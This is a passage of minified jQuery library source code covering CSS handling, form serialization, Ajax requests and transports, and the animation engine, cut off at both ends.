this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+w+")(.*)$","i"),Yt=RegExp("^("+w+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+w+")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}x.fn.extend({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt(e),i=n.length;i>s;s++)a[n[s]]=x.css(e,n[s],!1,o);return a}return r!==t?x.style(e,n,r):x.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:u[n];if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(x.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r+="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set"in s&&(r=s.set(e,r,i))===t)))try{u[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||0:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&(i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&(i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft+"px",u.left=i,a&&(o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&(a+=x.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=x.css(e,"border"+Zt[o]+"Width",!0,i))):(a+=x.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=x.css(e,"border"+Zt[o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function ln(e){var t=a,n=Gt[e];return n||(n=un(e,t),"none"!==n&&n||(Pt=(Pt||x("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block !important")).appendTo(t.documentElement),t=(Pt[0].contentWindow||Pt[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=un(e,t),Pt.detach()),Gt[e]=n),n}function un(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],"display");return n.remove(),r}x.each(["height","width"],function(e,n){x.cssHooks[n]={get:function(e,r,i){return r?0===e.offsetWidth&&Xt.test(x.css(e,"display"))?x.swap(e,Qt,function(){return sn(e,n,i)}):sn(e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n,r,x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,i),i):0)}}}),x.support.opacity||(x.cssHooks.opacity={get:function(e,t){return It.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=x.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===x.trim(o.replace($t,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace($t,i):o+" "+i)}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,n){return n?x.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!x.support.pixelPosition&&x.fn.position&&x.each(["top","left"],function(e,n){x.cssHooks[n]={get:function(e,r){return r?(r=Wt(e,n),Yt.test(r)?x(e).position()[n]+"px":r):t}}})}),x.expr&&x.expr.filters&&(x.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!x.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||x.css(e,"display"))},x.expr.filters.visible=function(e){return!x.expr.filters.hidden(e)}),x.each({margin:"",padding:"",border:"Width"},function(e,t){x.cssHooks[e+t]={expand:function(n){var r=0,i={},o="string"==typeof n?n.split(" "):[n];for(;4>r;r++)i[e+Zt[r]+t]=o[r]||o[r-2]||o[0];return i}},Ut.test(e)||(x.cssHooks[e+t].set=on)});var cn=/%20/g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|button|image|reset|file)$/i,hn=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop(this,"elements");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x(this).is(":disabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Ct.test(e))}).map(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return{name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.replace(fn,"\r\n")}}).get()}}),x.param=function(e,n){var r,i=[],o=function(e,t){t=x.isFunction(t)?t():null==t?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(n===t&&(n=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e))x.each(e,function(){o(this.name,this.value)});else for(r in e)gn(r,e[r],n,o);return i.join("&").replace(cn,"+")};function gn(e,t,n,r){var i;if(x.isArray(t))x.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if(n||"object"!==x.type(t))r(e,t);else for(i in t)gn(e+"["+i+"]",t[i],n,r)}x.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){x.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,yn,vn=x.now(),bn=/\?/,xn=/#.*$/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Cn=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Nn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,Sn=x.fn.load,An={},jn={},Dn="*/".concat("*");try{yn=o.href}catch(Ln){yn=a.createElement("a"),yn.href="",yn=yn.href}mn=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(T)||[];if(x.isFunction(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function qn(e,n,r,i){var o={},a=e===jn;function s(l){var u;return o[l]=!0,x.each(e[l]||[],function(e,l){var c=l(n,r,i);return"string"!=typeof c||a||o[c]?a?!(u=c):t:(n.dataTypes.unshift(c),s(c),!1)}),u}return s(n.dataTypes[0])||!o["*"]&&s("*")}function _n(e,n){var r,i,o=x.ajaxSettings.flatOptions||{};for(i in n)n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i]);return r&&x.extend(!0,e,r),e}x.fn.load=function(e,n,r){if("string"!=typeof e&&Sn)return Sn.apply(this,arguments);var i,o,a,s=this,l=e.indexOf(" ");return l>=0&&(i=e.slice(l,e.length),e=e.slice(0,l)),x.isFunction(n)?(r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&x.ajax({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.html(i?x("<div>").append(x.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.each(r,o||[e.responseText,t,e])}),this},x.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yn,type:"GET",isLocal:Cn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":x.parseJSON,"text xml":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?_n(_n(e,x.ajaxSettings),t):_n(x.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function(e,n){"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,l,u,c,p=x.ajaxSetup({},n),f=p.context||p,d=p.context&&(f.nodeType||f.jquery)?x(f):x.event,h=x.Deferred(),g=x.Callbacks("once memory"),m=p.statusCode||{},y={},v={},b=0,w="canceled",C={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c){c={};while(t=Tn.exec(a))c[t[1].toLowerCase()]=t[2]}t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return b||(p.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)m[t]=[m[t],e[t]];else C.always(e[C.status]);return this},abort:function(e){var t=e||w;return u&&u.abort(t),k(0,t),this}};if(h.promise(C).complete=g.add,C.success=C.done,C.error=C.fail,p.url=((e||p.url||yn)+"").replace(xn,"").replace(kn,mn[1]+"//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=x.trim(p.dataType||"*").toLowerCase().match(T)||[""],null==p.crossDomain&&(r=En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]&&r[2]===mn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn[1]?"80":"443")))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=x.param(p.data,p.traditional)),qn(An,p,n,C),2===b)return C;l=p.global,l&&0===x.active++&&x.event.trigger("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Nn.test(p.type),o=p.url,p.hasContent||(p.data&&(o=p.url+=(bn.test(o)?"&":"?")+p.data,delete p.data),p.cache===!1&&(p.url=wn.test(o)?o.replace(wn,"$1_="+vn++):o+(bn.test(o)?"&":"?")+"_="+vn++)),p.ifModified&&(x.lastModified[o]&&C.setRequestHeader("If-Modified-Since",x.lastModified[o]),x.etag[o]&&C.setRequestHeader("If-None-Match",x.etag[o])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&C.setRequestHeader("Content-Type",p.contentType),C.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?p.accepts[p.dataTypes[0]]+("*"!==p.dataTypes[0]?", "+Dn+"; q=0.01":""):p.accepts["*"]);for(i in p.headers)C.setRequestHeader(i,p.headers[i]);if(p.beforeSend&&(p.beforeSend.call(f,C,p)===!1||2===b))return C.abort();w="abort";for(i in{success:1,error:1,complete:1})C[i](p[i]);if(u=qn(jn,p,n,C)){C.readyState=1,l&&d.trigger("ajaxSend",[C,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){C.abort("timeout")},p.timeout));try{b=1,u.send(y,k)}catch(N){if(!(2>b))throw N;k(-1,N)}}else k(-1,"No Transport");function k(e,n,r,i){var c,y,v,w,T,N=n;2!==b&&(b=2,s&&clearTimeout(s),u=t,a=i||"",C.readyState=e>0?4:0,c=e>=200&&300>e||304===e,r&&(w=Mn(p,C,r)),w=On(p,w,C,c),c?(p.ifModified&&(T=C.getResponseHeader("Last-Modified"),T&&(x.lastModified[o]=T),T=C.getResponseHeader("etag"),T&&(x.etag[o]=T)),204===e||"HEAD"===p.type?N="nocontent":304===e?N="notmodified":(N=w.state,y=w.data,v=w.error,c=!v)):(v=N,(e||!N)&&(N="error",0>e&&(e=0))),C.status=e,C.statusText=(n||N)+"",c?h.resolveWith(f,[y,N,C]):h.rejectWith(f,[C,N,v]),C.statusCode(m),m=t,l&&d.trigger(c?"ajaxSuccess":"ajaxError",[C,p,c?y:v]),g.fireWith(f,[C,N]),l&&(d.trigger("ajaxComplete",[C,p]),--x.active||x.event.trigger("ajaxStop")))}return C},getJSON:function(e,t,n){return x.get(e,t,n,"json")},getScript:function(e,n){return x.get(e,t,n,"script")}}),x.each(["get","post"],function(e,n){x[n]=function(e,r,i,o){return x.isFunction(r)&&(o=o||i,i=r,r=t),x.ajax({url:e,type:n,dataType:o,data:r,success:i})}});function Mn(e,n,r){var i,o,a,s,l=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Content-Type"));if(o)for(s in l)if(l[s]&&l[s].test(o)){u.unshift(s);break}if(u[0]in r)a=u[0];else{for(s in r){if(!u[0]||e.converters[s+" "+u[0]]){a=s;break}i||(i=s)}a=a||i}return a?(a!==u[0]&&u.unshift(a),r[a]):t}function On(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift())if("*"===o)o=l;else if("*"!==l&&l!==o){if(a=u[l+" "+o]||u["* "+o],!a)for(i in u)if(s=i.split(" "),s[1]===o&&(a=u[l+" "+s[0]]||u["* "+s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}if(a!==!0)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(p){return{state:"parsererror",error:a?p:"No conversion from "+l+" to "+o}}}return{state:"success",data:t}}x.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),x.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=a.head||x("head")[0]||a.documentElement;return{send:function(t,i){n=a.createElement("script"),n.async=!0,e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i(200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var Fn=[],Bn=/(=)\?(?=&|$)|\?\?/;x.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Fn.pop()||x.expando+"_"+vn++;return this[e]=!0,e}}),x.ajaxPrefilter("json jsonp",function(n,r,i){var o,a,s,l=n.jsonp!==!1&&(Bn.test(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Bn.test(n.data)&&"data");return l||"jsonp"===n.dataTypes[0]?(o=n.jsonpCallback=x.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,l?n[l]=n[l].replace(Bn,"$1"+o):n.jsonp!==!1&&(n.url+=(bn.test(n.url)?"&":"?")+n.jsonp+"="+o),n.converters["script json"]=function(){return s||x.error(o+" was not called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&x.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,$n=e.ActiveXObject&&function(){var e;for(e in Pn)Pn[e](t,!0)};function In(){try{return new e.XMLHttpRequest}catch(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}x.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&In()||zn()}:In,Rn=x.ajaxSettings.xhr(),x.support.cors=!!Rn&&"withCredentials"in Rn,Rn=x.support.ajax=!!Rn,Rn&&x.ajaxTransport(function(n){if(!n.crossDomain||x.support.cors){var r;return{send:function(i,o){var a,s,l=n.xhr();if(n.username?l.open(n.type,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields)for(s in n.xhrFields)l[s]=n.xhrFields[s];n.mimeType&&l.overrideMimeType&&l.overrideMimeType(n.mimeType),n.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(s in i)l.setRequestHeader(s,i[s])}catch(u){}l.send(n.hasContent&&n.data||null),r=function(e,i){var s,u,c,p;try{if(r&&(i||4===l.readyState))if(r=t,a&&(l.onreadystatechange=x.noop,$n&&delete Pn[a]),i)4!==l.readyState&&l.abort();else{p={},s=l.status,u=l.getAllResponseHeaders(),"string"==typeof l.responseText&&(p.text=l.responseText);try{c=l.statusText}catch(f){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}catch(d){i||o(-1,d)}p&&o(s,c,p,u)},n.async?4===l.readyState?setTimeout(r):(a=++Wn,$n&&(Pn||(Pn={},x(e).unload($n)),Pn[a]=r),l.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Un,Vn=/^(?:toggle|show|hide)$/,Yn=RegExp("^(?:([+-])=|)("+w+")([a-z%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Yn.exec(t),o=i&&i[3]||(x.cssNumber[e]?"":"px"),a=(x.cssNumber[e]||"px"!==o&&+r)&&Yn.exec(x.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,x.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=x.now()}function Zn(e,t,n){var r,i=(Qn[t]||[]).concat(Qn["*"]),o=0,a=i.length;for(;a>o;o++)if(r=i[o].call(n,t,e))return r}function er(e,t,n){var r,i,o=0,a=Gn.length,s=x.Deferred().always(function(){delete l.elem}),l=function(){if(i)return!1;var t=Xn||Kn(),n=Math.max(0,u.startTime+u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;for(;l>a;a++)u.tweens[a].run(o);return s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Xn||Kn(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)u.tweens[n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(tr(c,u.opts.specialEasing);a>o;o++)if(r=Gn[o].call(u,e,c,u.opts))return r;return x.map(c,Zn,u),x.isFunction(u.opts.start)&&u.opts.start.call(e,u),x.fx.timer(x.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function tr(e,t){var n,r,i,o,a;for(n in e)if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=x.cssHooks[r],a&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}x.Animation=x.extend(er,{tweener:function(e,t){x.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;i>r;r++)n=e[r],Qn[n]=Qn[n]||[],Qn[n].unshift(t)},prefilter:function(e,t){t?Gn.unshift(e):Gn.push(e)}});function nr(e,t,n){var r,i,o,a,s,l,u=this,c={},p=e.style,f=e.nodeType&&nn(e),d=x._data(e,"fxshow");n.queue||(s=x._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued++,u.always(function(){u.always(function(){s.unqueued--,x.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],"inline"===x.css(e,"display")&&"none"===x.css(e,"float")&&(x.support.inlineBlockNeedsLayout&&"inline"!==ln(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",x.support.shrinkWrapBlocks||u.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],Vn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(f?"hide":"show"))continue;c[r]=d&&d[r]||x.style(e,r)}if(!x.isEmptyObject(c)){d?"hidden"in d&&(f=d.hidden):d=x._data(e,"fxshow",{}),o&&(d.hidden=!f),f?x(e).show():u.done(function(){x(e).hide()}),u.done(function(){var t;x._removeData(e,"fxshow");for(t in c)x.style(e,t,c[t])});for(r in c)a=Zn(f?d[r]:0,r,u),r in d||(d[r]=a.start,f&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}function rr(e,t,n,r,i){return new rr.prototype.init(e,t,n,r,i)}x.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each(["toggle","show","hide"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter(nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),a=function(){var t=er(this,x.extend({},e),o);(i||x._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e+"queueHooks",o=x.timers,a=x._data(this);if(n)a[n]&&a[n].stop&&i(a[n]);else for(n in a)a[n]&&a[n].stop&&Jn.test(n)&&i(a[n]);for(n=o.length;n--;)o[n].elem!==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splice(n,1));(t||!r)&&x.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=x._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=x.timers,a=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}});function ir(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=Zt[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}x.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&"object"==typeof e?x.extend({},e):{complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return r.duration=x.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call(this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=rr.prototype.init,x.fx.tick=function(){var e,n=x.timers,r=0;for(Xn=x.now();n.length>r;r++)e=n[r],e()||n[r]!==e||n.splice(r--,1);n.length||x.fx.stop(),Xn=t},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function(){Un||(Un=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(Un),Un=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t){return 